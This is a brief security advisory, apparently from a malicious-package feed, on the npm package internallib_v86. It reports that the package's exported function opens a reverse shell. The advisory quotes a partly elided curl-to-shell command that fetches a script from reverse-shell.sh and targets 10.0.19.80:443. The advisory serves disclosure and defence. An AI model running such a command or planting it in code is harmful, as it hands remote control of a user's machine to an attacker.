Summary
Malicious code in internallib_v86 (npm)
Details

Source: amazon-inspector (9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07)

internallib_v86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.
